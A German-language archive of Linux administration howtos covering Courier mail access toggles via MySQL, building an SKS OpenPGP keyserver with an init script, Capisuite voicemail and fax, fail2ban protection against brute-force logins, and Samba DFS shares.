Archiv der Kategorie: Linux

Courier POP3 / IMAP per User aktivieren / deaktivieren

Anleitung für Courier POP3/IMAP mit MySQL backend.

/etc/courier/authmysqlrc

MYSQL_PASSWORD          password1
MYSQL_CRYPT_PWFIELD     password
MYSQL_DATABASE          courier
MYSQL_GID_FIELD         '5001'
MYSQL_HOME_FIELD        '/var/mail'
MYSQL_LOGIN_FIELD       username
MYSQL_MAILDIR_FIELD     maildir
MYSQL_NAME_FIELD        name
MYSQL_OPT               0
#MYSQL_PASSWORD          postfix
MYSQL_QUOTA_FIELD      quota
MYSQL_SERVER            localhost
MYSQL_SOCKET           /var/run/mysqld/mysqld.sock
MYSQL_UID_FIELD         '5001'
MYSQL_USERNAME          dbuser
MYSQL_USER_TABLE        mailbox
MYSQL_AUXOPTIONS_FIELD  CONCAT("disableimap=",disableimap,",disablepop3=",disablepop3)

Die entscheidende Zeile:

MYSQL_AUXOPTIONS_FIELD  CONCAT("disableimap=",disableimap,",disablepop3=",disablepop3)

Datenbank anpassen

CREATE TABLE `mailbox` (
  `username` varchar(255) NOT NULL default '',
  `password` varchar(255) NOT NULL default '',
  `name` varchar(255) NOT NULL default '',
  `maildir` varchar(255) NOT NULL default '',
  `quota` int(10) NOT NULL default '0',
  `domain` varchar(255) NOT NULL default '',
  `created` datetime NOT NULL default '0000-00-00 00:00:00',
  `modified` datetime NOT NULL default '0000-00-00 00:00:00',
  `active` tinyint(1) NOT NULL default '1',
  `disableimap` int(1) NOT NULL default '0',
  `disablepop3` int(1) NOT NULL default '0',
  PRIMARY KEY  (`username`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1 COMMENT='Postfix Admin - Virtual Mailboxes';

Folgende Zeilen kommen hinzu:

  `disableimap` int(1) NOT NULL default '0',
  `disablepop3` int(1) NOT NULL default '0',

Mit Feldwert 1 wird der jeweilige Dienst deaktiviert.

SKS – Synchronizing Key Server für OpenPGP

Written by — Maximilian Thoma 2007/12/11 18:21

SKS (engl. Synchronizing Key Server) ist ein „neuer“ OpenPGP Keyserver, entwickelt und gewartet von Yaron Minsky. → http://www.nongnu.org/sks/

Im Gegensatz zum traditionellen PKS-System, bei dem die Synchronisation zwischen den Keyservern im Netzwerk durch E-Mails erfolgt, verwendet SKS einen ausgeklügelten Abgleichalgorithmus, um Unterschiede zwischen den Keyserver-Datenbanken zu finden und auszugleichen.

Das Howto ist für Debian Etch geschrieben sollte aber auf andere Distris portierbar sein.

Anforderungen

Installation

Beginnen wir mit der Installation.

Debianpakete installieren

Folgende Pakete werden benötigt:

make, ocaml, ocaml-core, libdb4.2-dev, bzip2

Diese einfach mit

apt-get install make ocaml ocaml-core libdb4.2-dev bzip2

installieren.

SKS Paket herunterladen und entpacken

Als erstes laden wir das SKS Paket runter und enpacken es in /usr/src.

cd /usr/src
wget http://download.savannah.gnu.org/releases/sks/sks-1.0.10.tgz
tar xvfz sks-1.0.10.tgz
rm sks-1.0.10.tgz

Ein ls auf /usr/src/sks-1.0.10 sollte ungefähr folgendes ergeben:

ls -la /usr/src/sks-1.0.10
insgesamt 1604
drwxr-xr-x 3 root root   4096 2007-12-11 18:18 .
drwxr-xr-x 3 root root   4096 2007-12-11 18:18 ..
-rw-r--r-- 1  500  500   2248 2004-04-25 03:06 add_mail.ml
-rw-r--r-- 1  500  500   3775 2004-10-02 13:27 armor.ml
drwxr-xr-x 2 root root   4096 2007-12-11 18:18 bdb
-rw-r--r-- 1  500  500   4370 2004-10-04 04:00 bdbwrap.ml
-rw-r--r-- 1  500  500   8546 2004-10-12 03:41 bitstring.ml
-rw-r--r-- 1  500  500    673 2004-04-25 03:06 BUGS
-rw-r--r-- 1  500  500   7429 2004-10-04 04:51 bugscript.ml
-rw-r--r-- 1  500  500   3488 2005-01-19 16:02 build.ml
-rw-r--r-- 1  500  500   3728 2004-10-04 04:51 catchup.ml
-rw-r--r-- 1  500  500   1210 2004-04-25 03:06 CHANGELOG
-rw-r--r-- 1  500  500  12070 2004-04-25 03:06 channel.ml
-rw-r--r-- 1  500  500   4647 2004-04-25 03:06 channel.mli
-rw-r--r-- 1  500  500  10947 2005-01-19 16:02 clean_keydb.ml
-rw-r--r-- 1  500  500   6320 2004-10-04 03:58 client.ml
-rw-r--r-- 1  500  500   3749 2004-04-25 03:06 cMarshal.ml
-rw-r--r-- 1  500  500   6700 2004-11-26 21:08 common.ml
-rw-r--r-- 1  500  500  15228 2004-04-25 03:06 COPYING
-rw-r--r-- 1  500  500   1747 2004-04-25 03:06 crc.c
-rw-r--r-- 1  500  500  99359 2004-04-25 03:06 cryptokit-1.0.tar.gz
-rw-r--r-- 1  500  500   7719 2004-10-04 04:52 dbMessages.ml
-rw-r--r-- 1  500  500   1614 2004-04-25 03:06 dbscript.ml
-rw-r--r-- 1  500  500  21794 2005-08-20 18:36 dbserver.ml
-rw-r--r-- 1  500  500   2068 2004-04-25 03:06 dbtest.ml
-rw-r--r-- 1  500  500   6484 2004-06-05 05:10 decode.ml
-rw-r--r-- 1  500  500  13096 2005-01-18 00:46 .depend
-rw-r--r-- 1  500  500   3528 2004-04-25 03:06 ehandlers.ml
-rw-r--r-- 1  500  500   7418 2004-10-04 04:48 eventloop.ml
-rw-r--r-- 1  500  500   5585 2005-01-19 16:02 fastbuild.ml
-rw-r--r-- 1  500  500    206 2005-08-21 23:33 FILES
-rw-r--r-- 1  500  500   5554 2004-04-25 03:06 fingerprint.ml
-rw-r--r-- 1  500  500   4746 2004-09-30 04:17 fixkey.ml
-rw-r--r-- 1  500  500    108 2004-04-25 03:06 foo.ml
-rw-r--r-- 1  500  500   3226 2004-04-25 03:06 fqueue.ml
-rw-r--r-- 1  500  500   3986 2005-01-19 16:02 getfileopts.ml
-rw-r--r-- 1  500  500   4032 2004-04-25 03:06 heap.ml
-rw-r--r-- 1  500  500   1156 2004-04-25 03:06 heap.mli
-rw-r--r-- 1  500  500   2758 2004-10-03 14:51 htmlTemplates.ml
-rw-r--r-- 1  500  500   2759 2005-01-19 16:02 incdump.ml
-rw-r--r-- 1  500  500  19343 2004-10-04 04:48 index.ml
-rw-r--r-- 1  500  500  40979 2005-01-18 14:25 keydb.ml
-rw-r--r-- 1  500  500   2516 2004-12-13 17:56 keyHash.ml
-rw-r--r-- 1  500  500   8137 2004-04-25 03:06 keyMerge.ml
-rw-r--r-- 1  500  500   4176 2004-04-25 03:06 key.ml
-rw-r--r-- 1  500  500   9324 2004-04-25 03:06 linearAlg.ml
-rw-r--r-- 1  500  500   1985 2004-04-25 03:06 logdump.ml
-rw-r--r-- 1  500  500   3543 2005-01-19 16:02 mailsync.ml
-rw-r--r-- 1  500  500  11590 2005-08-14 03:33 Makefile
-rw-r--r-- 1  500  500    172 2004-04-29 03:49 Makefile.local.unused
-rw-r--r-- 1  500  500   3426 2004-04-25 03:06 mArray.ml
-rw-r--r-- 1  500  500   1477 2004-04-25 03:06 mArray.mli
-rw-r--r-- 1  500  500   6290 2005-01-19 16:02 membership.ml
-rw-r--r-- 1  500  500   3978 2005-01-19 16:02 merge_keyfiles.ml
-rw-r--r-- 1  500  500   2217 2004-04-25 03:06 meteredChannel.ml
-rw-r--r-- 1  500  500   8794 2004-04-25 03:06 mList.ml
-rw-r--r-- 1  500  500   2547 2004-04-25 03:06 mList.mli
-rw-r--r-- 1  500  500   4367 2004-10-19 04:44 mRindex.ml
-rw-r--r-- 1  500  500   1653 2004-04-25 03:06 msgContainer.ml
-rw-r--r-- 1  500  500   1712 2004-04-25 03:06 mTimer.ml
-rw-r--r-- 1  500  500   1048 2004-04-25 03:06 mTimer.mli
-rw-r--r-- 1  500  500   3252 2004-04-25 03:06 nbMsgContainer.ml
-rw-r--r-- 1  500  500   4383 2004-04-25 03:06 number2.ml
-rw-r--r-- 1  500  500   4150 2004-04-25 03:06 number.ml
-rw-rw-r-- 1  500  500 667602 2005-01-18 00:42 numerix-0.19c.tar.gz
-rw-r--r-- 1  500  500  10414 2004-04-25 03:06 packet.ml
-rw-r--r-- 1  500  500   9108 2005-08-13 22:31 parsePGP.ml
-rw-r--r-- 1  500  500   3122 2005-04-26 05:32 pbuild.ml
-rw-r--r-- 1  500  500   4027 2004-04-25 03:06 pdiskTest.ml
-rw-r--r-- 1  500  500   5435 2004-04-25 03:06 pMap.ml
-rw-r--r-- 1  500  500   4657 2004-04-25 03:06 pMap.mli
-rw-r--r-- 1  500  500   9047 2004-04-25 03:06 poly.ml
-rw-r--r-- 1  500  500   5766 2004-04-25 03:06 prefix_test.ml
-rw-r--r-- 1  500  500  30889 2004-10-04 04:46 prefixTree.ml
-rw-r--r-- 1  500  500   3311 2004-04-25 03:06 prime.ml
-rw-r--r-- 1  500  500  10274 2004-04-25 03:06 pSet.ml
-rw-r--r-- 1  500  500   5701 2004-04-25 03:06 pSet.mli
-rw-r--r-- 1  500  500   2017 2005-08-20 18:42 pstyle.ml
-rw-r--r-- 1  500  500   4377 2004-10-04 04:45 ptest.ml
-rw-r--r-- 1  500  500   2842 2004-10-04 04:28 ptree_consistency_test.ml
-rw-r--r-- 1  500  500   5231 2005-01-18 00:42 pTreeDB.ml
-rw-r--r-- 1  500  500   1668 2004-04-25 03:06 ptree_db_test.ml
-rw-r--r-- 1  500  500   2575 2004-04-25 03:06 ptree_replay.ml
-rw-r--r-- 1  500  500    967 2004-04-25 03:06 ptscript.ml
-rw-r--r-- 1  500  500   2177 2004-04-25 03:06 query.ml
-rw-r--r-- 1  500  500   7115 2004-04-25 03:06 README
-rw-r--r-- 1  500  500   1272 2004-04-25 03:06 recode.ml
-rw-r--r-- 1  500  500   3323 2005-08-10 03:51 reconComm.ml
-rw-r--r-- 1  500  500   6012 2004-10-04 04:00 reconCS.ml
-rw-r--r-- 1  500  500   7412 2004-10-04 04:28 reconMessages.ml
-rw-r--r-- 1  500  500    951 2004-04-25 03:06 reconPTreeDb.ml
-rw-r--r-- 1  500  500  11211 2005-01-19 16:02 reconserver.ml
-rw-r--r-- 1  500  500   3423 2004-10-04 04:29 recoverList.ml
-rw-r--r-- 1  500  500   3081 2004-04-25 03:06 recvmail.ml
-rw-r--r-- 1  500  500   2983 2005-08-14 00:37 request.ml
-rw-r--r-- 1  500  500   5382 2005-01-18 00:42 rMisc.ml
-rw-r--r-- 1  500  500  14548 2004-04-25 03:06 script.ml
-rw-r--r-- 1  500  500   3331 2004-04-25 03:06 sendmail.ml
-rw-r--r-- 1  500  500   5298 2004-10-04 03:58 server.ml
-rw-r--r-- 1  500  500  12607 2005-01-19 16:02 settings.ml
-rwxr-xr-x 1  500  500    524 2004-04-25 03:06 sks_build.sh
-rw-r--r-- 1  500  500   1941 2004-04-25 03:06 sks_do.ml
-rw-r--r-- 1  500  500   3267 2005-01-19 16:02 sksdump.ml
-rw-r--r-- 1  500  500   5054 2004-12-13 18:03 sks.ml
-rw-r--r-- 1  500  500   2982 2005-08-15 02:36 spider.ml
-rw-r--r-- 1  500  500   1334 2004-04-25 03:06 sStream.ml
-rw-r--r-- 1  500  500   6534 2004-04-29 04:11 stats.ml
-rw-r--r-- 1  500  500   2986 2005-01-19 16:02 tester.ml
-rw-r--r-- 1  500  500   5190 2004-04-25 03:06 TODO
-rw-r--r-- 1  500  500    988 2004-04-25 03:06 tz.c
-rw-r--r-- 1  500  500   3894 2005-01-19 16:02 update_subkeys.ml
-rw-r--r-- 1  500  500   9453 2005-08-14 00:32 utils.ml
-rw-r--r-- 1  500  500      7 2005-08-14 01:38 VERSION
-rw-r--r-- 1  500  500   9849 2004-10-19 04:47 wserver.ml
-rw-r--r-- 1  500  500   4896 2004-04-25 03:06 zZp2.ml
-rw-r--r-- 1  500  500   5291 2005-01-18 00:42 zZp.ml

Konfigurationsdateien anpassen

1. Makefile.local.unused nach Makefile.local kopieren und anpassen

cd /usr/src/sks-1.0.10
cp Makefile.local.unused Makefile.local
vi Makefile.local

Geändert werden muss die ldb Version von 4.1 auf 4.2 und BDBLIB von /usr/lib auf /usr.

Datei sieht dann wie folgt aus:

BDBLIB=-L/usr
BDBINCLUDE=-I/usr/include
PREFIX=/usr/local
LIBDB=-ldb-4.2
MANDIR=/usr/share/man
export BDBLIB
export BDBINCLUDE
export PREFIX
export LIBDB
export MANDIR

2. Makefile anpassen

Nach folgender Zeile suchen:

COMMONCAMLFLAGS=$(CAMLINCLUDE) $(OCAMLLIB) -ccopt -Lbdb -dtypes

und ersetzen durch

COMMONCAMLFLAGS=$(CAMLINCLUDE) $(OCAMLLIB) -ccopt -Lbdb -dtypes -pthread

Kompilieren / Installieren

1. Depts bauen

Dauert nur wenige Sekunden.

make dep

2. Alles kompilieren

make all

3. Installieren

Leider fehlen bei SKS die Manuals. Bei der Installationsroutine will er diese aber kopieren nach /usr/share/man/man8 um diesen Fehler zu umgehen einfach:

touch sks.8.gz

in /usr/src/sks-1.0.10 ausführen. Dann klappt`s.

Wenn alles ohne Fehler durchgelaufen ist dann mit:

make install

installieren.

Verzeichnisse/Dateien anlegen / Konfigurationsdateien anlegen

1. Verzeichnisse/Dateien

mkdir /var/sks
mkdir /var/sks/web
mkdir /var/sks/dump
touch /var/sks/sksconf
touch /var/sks/membership
touch /var/sks/mailsync

2. Konfigurationsdateien anpassen

vi /var/sks/sksconf

Hostname anpassen z.B. keys.example.org

Inhalt der Datei sksconf:

# sksconf sample for keyserver.foo.bar
# ------------------------------------
# Set the logfile to $basedir/log[.db|.recon]
logfile: log

# debuglevel 4 is default (max. debuglevel is 10)
debuglevel: 4

# set from adress for mailsync
from_addr: pgp-public-keys@keys.example.org

# set the hostname of your server
hostname: keys.example.org

# EOF

Die membership Datei enthält die Server mit den man eine Peerbeziehung (gossip peer) unterhält. Wer mit keys.thoma.cc eine Peerbeziehung eingehen will soll mir bitte eine Mail schicken an info@thoma.cc.

Beispiel:

# Format
# server port
keys.thoma.cc 11370

SKS Server aufsetzen

SKS ist jetzt soweit installiert, jetzt können wir beginnen die Datenbank anzulegen und den Server betriebsfertig zu machen.

Datenbank aufbauen

Als erstes holen wir uns den Keydump von einem Server. Hier z.B. der Keydump von ftp.pramberger.at.

cd /var/sks/dump
wget -r -l 1 ftp://ftp.pramberger.at/services/keyserver/keydump/
mv ftp.pramberger.at/services/keyserver/keydump/* .
rm -rf ftp.pramberger.at/
bzip2 *.bz2

Es ist wichtig das die Dateien im Dumpverzeichnis nach dem entpacken die Endung .pgp haben damit sie in die Datenbank importiert werden.

cd /var/sks
sks_build.sh

Die Datenbank wird jetzt generiert. Das kann mehrere Stunden dauern ! Benötigt ca. 190 MB RAM!!!

Hinweis

Das Verzeichnis dump und Inhalt nicht löschen falls Datenbank nochmal erzeugt werden muss!

Wenn das Script fertig ist sind folgende neue Verzeichnisse angelegt worden PTree und KDB. In diesen Verzeichnissen befindet sich jetzt die Datenbank für SKS.

Peers hinzufügen

Die Peers befinden sich (wie oben schon erwähnt) in der Datei membership.

Wenn mit jemanden eine Partnerschaft vereinbart ist dann diesen wie folgt hinzufügen.

Beispiel:

keys.thoma.cc 11370

Mailsync einrichten

In dieser Datei werden die „Outgoing“ PKS Peers angegeben. PKS syncronisiert sich über E-Mails.

Beispiel:

mail@example.org
abc@example.com

Für keys.thoma.cc ist pgp-public-keys@keys.thoma.cc die PKS Peer Adresse.

PKS verlangt eine Mailsyncadresse. Mailsync wird dazu verwendet andere PKS Server die kein gossip unterstützen aktuell zu halten. Diese Server werden quasi durch E-Mails syncronisiert. Da ich momentan keine Aktualisierungen an andere PKS Server sende aber SKS eine verlangt, habe ich eine „Blackhole“ Adresse angegeben. Diese Mails verschwinden im Nirvana. (devnull@thoma.cc) Wie Sie das auch Einrichten können finden Sie in den Postfix Howtos unter Spamtrap/Blackhole Adresse einrichten.

Webseite einrichten

Um später Keys per Webinterface suchen und hochzuladen muss man im Verzeichnis web eine index.html anlegen. → http://keys.thoma.cc:11371

Eine Beispieldatei können Sie hier herunterladen.

Direktdownload

Installation

cd /var/sks/web
wget http://www.thoma.cc/_media/howtos/security/sks_keyserver/sks_index.tgz?id=howtos%3Asecurity%3Asks_keyserver&cache=cache
tar xvfz sks_index.tgz

User / Gruppe anlegen für SKS

Da SKS später nicht unter root-Rechten laufen soll legen wir einen User und eine Gruppe an.

groupadd sks
useradd -d /var/sks -g sks -s /bin/false sks

Postfix einrichten für SKS

Falls mailsync verwendet wird und Incoming PKS verwenden will muss man mit Procmail das ganze an sks_add_mail übergeben.

Falls Procmail noch nicht installiert sein sollte man dies nachholen mit:

apt-get install procmail

Für die Incoming PKS requests verwende ich als Beispiel die Adresse pgp-public-keys@keys.example.org.

Änderungen an /etc/aliases

Um die Mails mit Procmail bearbeiten zu können müssen wir diese erstmal zum User sks „weiterleiten“.

Fügen Sie in die aliases folgendes hinzu

pgp-public-keys: sks

und machen Sie anschließend ein

postalias /etc/aliases

um die postalias Datenbank zu aktualisieren.

main.cf

Öffnen Sie die Datei /etc/postfix/main.cf und fügen Sie unsere Beispieldomain keys.example.org zu mydestination hinzu.

mydestination = localhost.example.org, localhost, server.example.org, keys.example.org

Fügen Sie folgenden Parameter in einer neuen Zeile hinzu: (falls dieser noch nicht existiert)

mailbox_command = procmail -a "$EXTENSION"

Speichern Sie die Datei und führen Sie einen

postfix reload

aus.

.procmailrc

Damit Procmail weiss was er mit einer Mail machen soll wenn eine kommt muss man im Homeverzeichnis des Users eine .procmailrc anlegen.

Die Datei hat folgenden Inhalt

  PATH=/usr/local/bin

        :0
        * ^Subject: incremental
        | sks_add_mail /var/sks

und übergibt die Mail an sks_add_mail.

/etc/init.d/sks anlegen und zu den defaults hinzufügen

SKS liefert leider kein init.d-script mit, deshalb habe ich selber eines geschrieben.

sks_init.tgz
sks_init.zip

Falls Username, Gruppe, Installationspfad oder Arbeitsverzeichnis abgeändert wurde muss dies in der sks init Datei angepasst werden.

Speichern Sie die Datei unter /etc/init.d/sks

Inhalt

#! /bin/sh
#
# init.d script for sks
# written by Maximilian Thoma (c) 2007 - http://www.thoma.cc
#

PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin
DAEMON=/usr/local/bin/sks
NAME=sksdb
NAME2=sksrecon
DESC=sksdb
DESC2=sksrecon

PIDDIR="/var/sks"
INSTDIR="/var/sks"

RUNUSER=sks
RUNGROUP=sks

test -f ${DAEMON} || exit 0

set -e

START="--start --quiet --background --make-pidfile --chuid ${RUNUSER}:${RUNGROUP} \
--pidfile ${PIDDIR}/${NAME}.pid --startas ${DAEMON}" 
STOP="--stop --quiet --pidfile ${PIDDIR}/${NAME}.pid"
START2="--start --quiet --background --make-pidfile --chuid ${RUNUSER}:${RUNGROUP} \
--pidfile ${PIDDIR}/${NAME2}.pid --startas ${DAEMON}"
STOP2="--stop --quiet --pidfile ${PIDDIR}/${NAME2}.pid"

PARAMS="db -basedir ${INSTDIR}"
PARAMS2="recon -basedir ${INSTDIR}"

cleanup() {
        [ -d /var/sks ] &&
          find /var/sks -maxdepth 1 -name 'db_com_sock' -type f \
                -exec rm -rf "{}" \; >/dev/null 2>&1 || true
        [ -d /var/sks ] &&
          find /var/sks -maxdepth 1 -name 'recon_com_sock' -type f \
                -exec rm -rf "{}" \; >/dev/null 2>&1 || true
        :
}

case "$1" in
  start)
        echo -n "Starting $DESC: "
        if start-stop-daemon ${START} -- ${PARAMS} >/dev/null ; then
                echo "sks db."
        else
                if start-stop-daemon --test ${START} >/dev/null 2>&1; then
                        echo "(failed)."
                        exit 1
                else
                        echo "(already running)."
                        exit 0
                fi
        fi

        echo -n "Starting $DESC2: "
        if start-stop-daemon ${START2} -- ${PARAMS2} & >/dev/null ; then
                echo "sks recon."
        else
                if start-stop-daemon --test ${START2} & >/dev/null 2>&1; then
                        echo "(failed)."
                        exit 1
                else
                        echo "(already running)."
                        exit 0
                fi
        fi

        ;;
  stop)
        echo -n "Stopping $DESC: "
        if start-stop-daemon ${STOP} --retry 10 >/dev/null ; then
                cleanup
                echo "sks db."
        else
                if start-stop-daemon --test ${START} >/dev/null 2>&1; then
                        echo "(not running)."
                        exit 0
                else
                        echo "(failed)."
                        exit 1
                fi
        fi

        echo -n "Stopping $DESC2: "
        if start-stop-daemon ${STOP2} --retry 10 >/dev/null ; then
                cleanup
                echo "sks recon."
        else
                if start-stop-daemon --test ${START2} >/dev/null 2>&1; then
                        echo "(not running)."
                        exit 0
                else
                        echo "(failed)."
                        exit 1
                fi
        fi
        ;;

  restart|force-reload)
        $0 stop
        exec $0 start
        ;;
  *)
        N=/etc/init.d/sks
        echo "Usage: $N {start|stop|restart}" >&2
        exit 1
        ;;
esac

exit 0

Setzen Sie folgende Dateiberechtigungen

chmod 755 /etc/init.d/sks

und jetzt noch zu den defaults hinzufügen

update-rc.d sks defaults

damit SKS bei Systemstart startet.

SKS starten

Führen Sie

/etc/init.d/sks start

aus um SKS zu starten.

Zur Kontrolle führen wir

ps aux | grep sks

aus.

Wenn alles geklappt hat sollte es ungefähr so aussehen:

relaym:/etc/init.d# ps aux | grep sks
sks      18803  0.0  1.3  31692  3352 ?        Ss   16:40   0:00 /usr/local/bin/sks db -basedir /var/sks
sks      18805  0.0  1.8  14208  4652 ?        Ss   16:40   0:00 /usr/local/bin/sks recon -basedir /var/sks
root     18813  0.0  0.2   2872   748 pts/1    R+   17:05   0:00 grep sks
relaym:/etc/init.d#

Ports checken:

Führen Sie ein

netstat -tulpen | grep sks

aus.

Das Ergebnis sollte folgendermaßen aussehen:

relaym:/var/sks# netstat -tulpen | grep sks
tcp        0      0 0.0.0.0:11370           0.0.0.0:*               LISTEN     107        57645      18805/sks
tcp        0      0 0.0.0.0:11371           0.0.0.0:*               LISTEN     107        57632      18803/sks
relaym:/var/sks#

Fertig!

Ihr Keyserver sollte jetzt unter dem Defaultport 11371 eine Webseite anzeigen. Rufen Sie hierzu http://keys.example.org:11371 im Browser auf. Sie können hier versuchen ob Sie einen PGP Schlüssel in Ihrer Datenbank finden können. z.B. 0xB4F04E79 oder pgpCA@ct.heise.de als Suchstring eingeben.

Viel Spaß mit SKS ;-)

Capisuite – Voicemail und Fax

Anforderungen

  • Installierte ISDN Karte mit CAPI Treibern (→ AVM Fritzcard PCI unter Debian Etch)
  • Mailserver (Postfix, Sendmail, Exim, Qmail, etc.)

Installation

apt-get install capisuite

User/Gruppen anlegen

Für Voicemail und Fax werden eigene User/Gruppen pro Voicemail/Fax benötigt.

# groupadd vm_test
# useradd -g vm_test -r vm_test

Einrichten des Anrufbeantworters (Voicemail)

# nano /etc/capisuite/answering_machine.conf

Am Ende der Datei kann man seine eigenen Voicemails anlegen. Hier ein Beispiel:

[vm_test]
voice_numbers="55512345"
voice_action="MailAndSave"
record_length="60"
voice_delay="20"
voice_email="mail@example.org"
pin="12345"

In den eckigen Klammen steht der Username den wir vorhin angelegt haben.

Folgende Optionen sind jetzt eingestellt für diese Voicemail:

  • voice_numbers – Die MSN auf der die Voicemail lauschen soll
  • voice_action – Die Aktion die Ausgeführt werden soll wenn eine Aufzeichnung stattgefunden hat.
  • record_length – Aufzeichnungsdauer
  • voice_delay – Verzögerung bis die Voicemail den Anruf entgegen nimmt.
  • voice_email – An diese Adresse wird die Voiceaufzeichnung geschickt.
  • pin – Dies ist die Fernabfragepin

Test Voicemail

Daemon neustarten

/etc/init.d/capisuite restart

Log beobachten und anrufen

Wed Dec  5 10:44:03 2007 Connection 0x8181648: Connection object created for incoming call PLCI 101 from 08955512345 to 55512345 CIP 0x10
Wed Dec  5 10:44:04 2007 Connection 0x8181648: call from 08955512345 to 55512345 for vm_test connecting with voice
Wed Dec  5 10:44:24 2007 Connection 0x8181648: accepting with service 0
Wed Dec  5 10:44:38 2007 Connection 0x8181648: disconnect initiated
Wed Dec  5 10:44:38 2007 Connection 0x8181648: connection lost with cause 0x3490,0x3301
Wed Dec  5 10:44:38 2007 Connection 0x8181648: Connection object deleted

E-Mail kontrollieren

Nachsehen ob eine Mail angekommen ist, ansonsten Mailserverlog überprüfen.

Einrichten Faxempfang

# nano /etc/capisuite/fax.conf

Am Ende der Datei kann man seine eigenen Faxe anlegen. Hier ein Beispiel:

[vm_test]
fax_numbers="55512346"
fax_stationID="+49 89 5551236"
fax_headline="Mein FAX"
fax_email="mail@example.com"
fax_action="MailAndSave"

In den eckigen Klammen steht der Username den wir vorhin angelegt haben.

Folgende Optionen sind jetzt eingestellt für diese Voicemail:

  • fax_numbers – Die MSN auf der die Faxgerät lauschen soll
  • fax_action – Die Aktion die Ausgeführt werden soll wenn eine Aufzeichnung stattgefunden hat.
  • fax_stationID – Stationskennung
  • fax_headline – Fax Name
  • fax_email – An diese Adresse wird die Faxaufzeichnung geschickt.

Test Fax

Daemon neustarten

/etc/init.d/capisuite restart

Log beobachten und Testfax senden

Wed Dec  5 10:57:14 2007 Connection 0x8181648: Connection object created for incoming call PLCI 101 from 08955512346 to 55512346 CIP 0x4
Wed Dec  5 10:57:14 2007 Connection 0x8181648: call from 08955512346 to 55512346 for vm_test connecting with fax
Wed Dec  5 10:57:14 2007 Connection 0x8181648: accepting with service 1
Wed Dec  5 10:57:37 2007 Connection 0x8181648: disconnect initiated
Wed Dec  5 10:57:37 2007 Connection 0x8181648: connection lost with cause 0x3400,0x0
Wed Dec  5 10:57:38 2007 Connection 0x8181648: Connection object deleted

E-Mail kontrollieren

Nachsehen ob eine Mail angekommen ist, ansonsten Mailserverlog überprüfen.

Fertig

Viel Spaß mit dem neuen System.

Verhindern von Bruteforce Attaken auf Postfix SASL, Courier-IMAP und SSH

Hinweis

Dieses Howto wurde für Debian Etch geschrieben.

Installation

apt-get install fail2ban

Konfiguration anpassen

/etc/fail2ban/jail.local

[DEFAULT]

# "ignoreip" can be an IP address, a CIDR mask or a DNS host
ignoreip = 127.0.0.1 
bantime  = 600
maxretry = 3

# "backend" specifies the backend used to get files modification. Available
# options are "gamin", "polling" and "auto".
# yoh: For some reason Debian shipped python-gamin didn't work as expected
#      This issue left ToDo, so polling is default backend for now
backend = polling

#
# Destination email address used solely for the interpolations in
# jail.{conf,local} configuration files.
destemail = root@localhost

# Default action to take: ban only
action = iptables[name=%(__name__)s, port=%(port)s]


[ssh]

enabled = true
port    = ssh
filter  = sshd
logpath  = /var/log/auth.log
maxretry = 5

[postfix]

enabled  = false
port     = smtp
filter   = postfix
logpath  = /var/log/mail.log
maxretry = 5


[courierpop3]

enabled  = true
port     = pop3
filter   = courierlogin
failregex = courierpop3login: LOGIN FAILED.*ip=\[.*:<HOST>\]
logpath  = /var/log/mail.log
maxretry = 5


[courierimap]

enabled  = true
port     = imap2
filter   = courierlogin
failregex = imapd: LOGIN FAILED.*ip=\[.*:<HOST>\]
logpath  = /var/log/mail.log
maxretry = 5

[sasl]

enabled  = true
port     = smtp
filter   = sasl
failregex = warning: [-._\w]+\[<HOST>\]: SASL (?:LOGIN|PLAIN|(?:CRAM|DIGEST)-MD5) authentication failed
logpath  = /var/log/mail.log
maxretry = 5

Restart von fail2ban

/etc/init.d/fail2ban restart

Ergebnis kontrollieren

iptables -L -n

Ergebnis:

Chain INPUT (policy ACCEPT)
target     prot opt source               destination
fail2ban-sasl  tcp  --  0.0.0.0/0            0.0.0.0/0           tcp dpt:25
fail2ban-courierimap  tcp  --  0.0.0.0/0            0.0.0.0/0           tcp dpt:143
fail2ban-ssh  tcp  --  0.0.0.0/0            0.0.0.0/0           tcp dpt:22
fail2ban-courierpop3  tcp  --  0.0.0.0/0            0.0.0.0/0           tcp dpt:110

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

Chain fail2ban-courierimap (1 references)
target     prot opt source               destination
RETURN     0    --  0.0.0.0/0            0.0.0.0/0

Chain fail2ban-courierpop3 (1 references)
target     prot opt source               destination
RETURN     0    --  0.0.0.0/0            0.0.0.0/0

Chain fail2ban-sasl (1 references)
target     prot opt source               destination
RETURN     0    --  0.0.0.0/0            0.0.0.0/0

Chain fail2ban-ssh (1 references)
target     prot opt source               destination
RETURN     0    --  0.0.0.0/0            0.0.0.0/0

Test

Loggen Sie sich einfach mit einem vorhandenen Benutzer und falschen Passwort 5 mal an. Dann sollte Ihre IP-Adresse für 5 Minuten blockiert sein.

Es sollte nur der Dienst gesperrt werden der betroffen ist.

Iptables:

Chain fail2ban-courierimap (1 references)
target     prot opt source               destination
RETURN     0    --  0.0.0.0/0            0.0.0.0/0

Chain fail2ban-courierpop3 (1 references)
target     prot opt source               destination
DROP       0    --  62.158.111.222       0.0.0.0/0
RETURN     0    --  0.0.0.0/0            0.0.0.0/0

Chain fail2ban-sasl (1 references)
target     prot opt source               destination
RETURN     0    --  0.0.0.0/0            0.0.0.0/0

Chain fail2ban-ssh (1 references)
target     prot opt source               destination
RETURN     0    --  0.0.0.0/0            0.0.0.0/0

Logeintrag:

Rechner wurde gesperrt:

2007-07-11 21:41:49,063 fail2ban.actions: WARNING [courierpop3] Ban 62.158.111.222

Rechner wurde entsperrt:

2007-07-11 21:51:49,324 fail2ban.actions: WARNING [courierpop3] Unban 62.158.111.222

Samba 3 mit DFS (Distributed File System)

Samba 3 erweitern mit DFS.

Anleitung für Debian Sarge / Etch, Ubuntu

DFS root

Legen Sie ein Verzeichnis für das DFS root an:

  mkdir /home/samba/dfsroot chmod 777 /home/samba/dfsroot

Änderungen in der smb.conf

Fügen Sie unter [global] Folgendes hinzu:

  host msdfs = yes

Weiter unten dann bei den Verzeichnissen dann Folgendes:

  [dfsroot]
  path = /home/samba/dfsroot
  msdfs root = yes
  comment = DFS root

Restart des Servers

Starten Sie den Server neu:

  /etc/init.d/samba restart

DFS Verzeichnisse anlegen

Gehen Sie in das DFS Verzeichnis:

  cd /home/samba/dfsroot

Jetzt können Sie in diesem Verzeichnis andere Netzlaufwerke einhängen:

  ln -s msdfs:<server>\<freigabe> <ordnername>

